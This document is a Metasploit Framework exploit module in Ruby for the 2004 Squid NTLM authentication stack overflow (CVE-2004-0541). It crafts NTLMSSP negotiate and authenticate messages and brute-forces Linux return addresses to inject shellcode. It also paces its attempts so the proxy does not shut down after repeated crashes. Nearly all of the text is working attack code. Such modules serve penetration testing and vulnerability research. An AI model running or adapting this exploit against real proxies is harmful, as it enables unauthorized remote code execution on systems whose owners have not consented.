Squid NTLM Authenticate Overflow



##

# $Id: squid_ntlm_authenticate.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Brute
    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Squid NTLM Authenticate Overflow',
            'Description'    => %q{
                    This is an exploit for Squid\'s NTLM authenticate overflow
                (libntlmssp.c). Due to improper bounds checking in
                ntlm_check_auth, it is possible to overflow the 'pass'
                variable on the stack with user controlled data of a user
                defined length.  Props to iDEFENSE for the advisory.
            },
            'Author'         => 'skape',
            'Version'        => '$Revision: 9179 $',
            'References'     =>
                [
                    [ 'CVE', '2004-0541'],
                    [ 'OSVDB', '6791'],
                    [ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
                    [ 'BID', '10500'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 256,
                    'MinNops'  => 16,
                    'Prepend'  => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
                    'PrependEncoder' => "\x83\xec\x7f",

                },
            'Targets'        =>
                [
                    [ 'Linux Bruteforce',
                        {
                            'Platform'   => 'linux',
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
                                    'Stop'  => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
                                    'Step'  => 0
                                }
                        },
                    ],
                ],
            'DisclosureDate' => 'Jun 8 2004',
            'DefaultTarget'  => 0))

        register_advanced_options(
            [
                # We must wait 15 seconds between each attempt so as to prevent
                # squid from exiting completely after 5 crashes.
                OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
            ], self.class)
    end

    def brute_exploit(addresses)
        site = "http://" + rand_text_alpha(rand(128)) + ".com"

        print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
        connect

        trasnmit_negotiate(site)
        transmit_authenticate(site, addresses)

        handler
        disconnect
    end

    def trasnmit_negotiate(site)
        negotiate  =
            "NTLMSSP\x00"        + # NTLMSSP identifier
            "\x01\x00\x00\x00"   + # NTLMSSP_NEGOTIATE
            "\x07\x00\xb2\x07"   + # flags
            "\x01\x00\x09\x00"   + # workgroup len/max       (1)
            "\x01\x00\x00\x00"   + # workgroup offset        (1)
            "\x01\x00\x03\x00"   + # workstation len/max     (1)
            "\x01\x00\x00\x00"     # workstation offset      (1)

        print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
        req =
            "GET #{site} HTTP/1.1\r\n" +
            "Proxy-Connection: Keep-Alive\r\n" +
            "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
            "\r\n"
        sock.put(req)

    end

    def transmit_authenticate(site, addresses)
        overflow     =
            rand_text_alphanumeric(0x20) +
            [addresses['Ret']].pack('V') +
            [addresses['Valid']].pack('V') +
            "\xff\x00\x00\x00"
        shellcode    = payload.encoded
        pass_len     = [overflow.length + shellcode.length].pack('v')
        authenticate =
            "NTLMSSP\x00"        + # NTLMSSP identifier
            "\x03\x00\x00\x00"   + # NTLMSSP_AUTHENTICATE
            pass_len + pass_len  + # lanman response len/max
            "\x38\x00\x00\x00"   + # lanman response offset  (56)
            "\x01\x00\x01\x00"   + # nt response len/max     (1)
            "\x01\x00\x00\x00"   + # nt response offset      (1)
            "\x01\x00\x01\x00"   + # domain name len/max     (1)
            "\x01\x00\x00\x00"   + # domain name offset      (1)
            "\x01\x00\x01\x00"   + # user name               (1)
            "\x01\x00\x00\x00"   + # user name offset        (1)
            "\x00\x00\x00\x00"   + # session key
            "\x8b\x00\x00\x00"   + # session key
            "\x06\x82\x00\x02"   + # flags
            overflow + shellcode

        print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
        req =
            "GET #{site} HTTP/1.1\r\n" +
            "Proxy-Connection: Keep-Alive\r\n" +
            "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
            "\r\n"
        sock.put(req)
    end

end